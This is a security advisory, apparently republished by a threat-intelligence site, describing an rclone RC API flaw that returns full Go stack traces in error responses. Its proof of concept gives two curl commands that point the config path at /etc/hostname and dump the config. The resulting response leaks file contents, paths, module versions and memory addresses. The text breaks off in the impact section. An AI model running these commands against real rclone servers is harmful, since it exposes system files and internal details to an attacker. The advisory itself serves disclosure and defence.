lowCVSS 2.7Vulnerability

GHSA-gwfq-86j8-7qhv

### Summary When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller. ### Details The panic recovery in `fs/rc/jobs/job.go:110-115`: ```go func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) { defer func() { if r := recover(); r != nil { j.mu.Lock() j.EndTime = time.Now() j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack())) // ... } }() ``` The full `debug.Stack()` output is placed into `j.Error`, which is then returned in the HTTP response JSON. ### PoC Trigger a parse error by setting config path to a non-INI file, then calling dump: ```bash curl -s -X POST http://localhost:5572/config/setpath \ -H "Content-Type: application/json" \ -d '{"path":"/etc/hostname"}' curl -s -X POST http://localhost:5572/config/dump ``` Response includes: ```json { "error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...", "status": 500 } ``` **Disclosed information includes:** - Full filesystem paths (`github.com/rclone/rclone/fs/config/config.go:377`) - Go module versions (`github.com/go-chi/chi/[email protected]`) - Go runtime version (from binary) - Goroutine IDs and states - Memory addresses (ASLR leak) - File contents (first unparseable line of the target file) **Tested and confirmed on rclone v1.74.4.** ### Impact Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks pa

Properties

ghsa_id
GHSA-gwfq-86j8-7qhv
severity
low
summary
rclone: Verbose Stack Trace Disclosure in RC API Error Responses
cvss_score
2.7
cve_id
GHSA-gwfq-86j8-7qhv
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
is_ghsa_only
true
ghsa_published
2026-08-05T19:59:55Z
source_url
https://github.com/advisories/GHSA-gwfq-86j8-7qhv
ghsa_updated
2026-08-05T20:01:48Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]go/github.com/rclone/rclone

AFFECTS (1)

[Software]go/github.com/rclone/rclone

HAS_WEAKNESS (1)

[Weakness]Generation of Error Message Containing Sensitive Information

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-gwfq-86j8-7qhv (CVSS 2.7) — Ninja Signal Threat Intelligence | Ninja Signal